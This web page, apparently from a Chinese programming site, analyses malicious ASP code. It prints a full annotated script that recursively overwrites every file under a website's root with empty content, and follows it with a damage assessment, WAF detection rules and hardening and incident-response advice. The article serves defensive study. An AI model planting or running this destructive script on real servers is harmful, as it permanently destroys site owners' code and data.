首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

ASP 惡意程式碼分析:利用 Shell.Application 遞歸清空網站目錄檔案內容

     編輯:Oracle 資料庫基礎

⚠️ 安全警示:惡意程式碼分析與防禦

本文僅供安全研究與防禦分析目的,嚴禁用於攻擊行為。 該程式碼可遞歸清空 Web 站點目錄下所有檔案內容(大小歸零),屬破壞性惡意程式碼。

程式碼功能分析

  • 觸發條件:表單提交 Submit 參數
  • 核心物件:Shell.Application COM 物件(需伺服器啟用)
  • 遞歸遍歷:ListFile 函數遞歸處理子目錄
  • 破壞動作:ADODB.Stream 以二進位模式開啟,SaveToFile path, 2 覆寫檔案為空內容
  • 錯誤抑制:On Error Resume Next 忽略權限不足等錯誤繼續破壞

程式碼還原與註解


<%
Server.ScriptTimeout = 99999  ' 延長腳本逾時,確保大量檔案處理完成

If Request("Submit") <> "" Then
    Call ListFile(Server.MapPath("./"))  ' 從網站根目錄開始遞歸
    Response.Write "清理完畢"
Else
    Response.Write "
" End If Function ListFile(fpath) On Error Resume Next Dim Shell, Folder, f, s Set Shell = Server.CreateObject("Shell.Application") Set Folder = Shell.NameSpace(fpath) Set f = Server.CreateObject("ADODB.Stream") f.Type = 1 ' 二進位模式 f.Open For Each s In Folder.Items If s.IsFolder Then Call ListFile(s.Path) ' 遞歸進入子目錄 Else f.SaveToFile s.Path, 2 ' 2 = adSaveCreateOverWrite,覆寫為空檔案 End If Next Set f = Nothing Set Shell = Nothing End Function %>

危害評估

防禦與修復建議

  1. 最小權限原則:Web 執行身分僅擁有必要目錄寫入權限,核心程式碼目錄設唯讀
  2. 停用高風險 COM:註冊表刪除 Shell.Application CLSID 或透過元件服務停用
  3. Web 應用防火牆 (WAF):規則攔截包含 Shell.Application、ADODB.Stream.SaveToFile 特徵的請求
  4. 檔案完整性監控 (FIM):即時監控關鍵目錄檔案變更,異常大量寫入告警
  5. 定期離線備份:確保資料可恢復,備份驗證機制
  6. 代碼審計:定期掃描可疑上傳檔案、模板注入、元件調用

事件應急響應

  • 立即隔離受影響伺服器
  • 從乾淨備份恢復
  • 檢查滲透路徑(上傳漏洞、弱口令、第三方元件漏洞)
  • 保留日誌證據,依法追究
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
維度評估
破壞範圍網站根目錄下所有可寫入檔案(含程式碼、配置、上傳檔案)
破壞程度檔案內容歸零,大小變 0 bytes,資料永久遺失(無備份情況下)
執行權限需求需 Web 執行身分對目錄有寫入權限;需伺服器註冊 Shell.Application COM 元件
偵測難度無明顯特徵碼,行為屬檔案寫入操作,傳統 WAF 難攔截